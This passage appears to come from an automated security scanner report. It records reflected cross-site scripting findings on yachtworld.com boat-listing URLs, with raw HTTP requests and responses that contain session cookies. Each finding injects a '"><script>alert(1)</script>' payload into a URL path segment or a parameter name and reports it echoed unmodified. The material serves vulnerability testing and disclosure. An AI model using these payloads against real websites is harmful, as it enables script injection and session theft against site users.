2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8505"><script>alert(1)</script>a3117596587 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Forward-Seating-2292192/Pt.-Pleasant/NJe8505"><script>alert(1)</script>a3117596587/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:38 GMT Server: Apache Cache-Control: private If-Modified-Since: Sun, 05 Dec 2010 20:45:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2292192%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B105%2C900%5B%25%5DPt.+Pleasant%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F2%2F1%2F2292192_1_mini.jpg%3F1291581360000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2292192%2FPt.-Pleasant%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:38 GMT Set-Cookie: VIEWED_BOATS_STORE=2292192%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B105%2C900%5B%25%5DPt.+Pleasant%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F2%2F1%2F2292192_1_mini.jpg%3F1291581360000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2292192%2FPt.-Pleasant%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65b11"><script>alert(1)</script>de0f00ef8b8 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Forward-Seating-2292192/Pt.-Pleasant/NJ/United-States65b11"><script>alert(1)</script>de0f00ef8b8 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:10 GMT Server: Apache Cache-Control: private If-Modified-Since: Sun, 05 Dec 2010 20:45:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2292192%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B105%2C900%5B%25%5DPt.+Pleasant%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F2%2F1%2F2292192_1_mini.jpg%3F1291581360000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2292192%2FPt.-Pleasant%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:10 GMT Set-Cookie: VIEWED_BOATS_STORE=2292192%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B105%2C900%5B%25%5DPt.+Pleasant%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F2%2F1%2F2292192_1_mini.jpg%3F1291581360000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2292192%2FPt.-Pleasant%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.120. http://www.yachtworld.com/boats/2005/Regulator-32-Forward-Seating-2292192/Pt.-Pleasant/NJ/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 942a4"><script>alert(1)</script>8ccc840a7ad was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Forward-Seating-2292192/Pt.-Pleasant/NJ/United-States?942a4"><script>alert(1)</script>8ccc840a7ad=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:02:13 GMT Server: Apache Cache-Control: private If-Modified-Since: Sun, 05 Dec 2010 20:45:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2292192%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B105%2C900%5B%25%5DPt.+Pleasant%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F2%2F1%2F2292192_1_mini.jpg%3F1291581360000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2292192%2FPt.-Pleasant%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:02:13 GMT Set-Cookie: 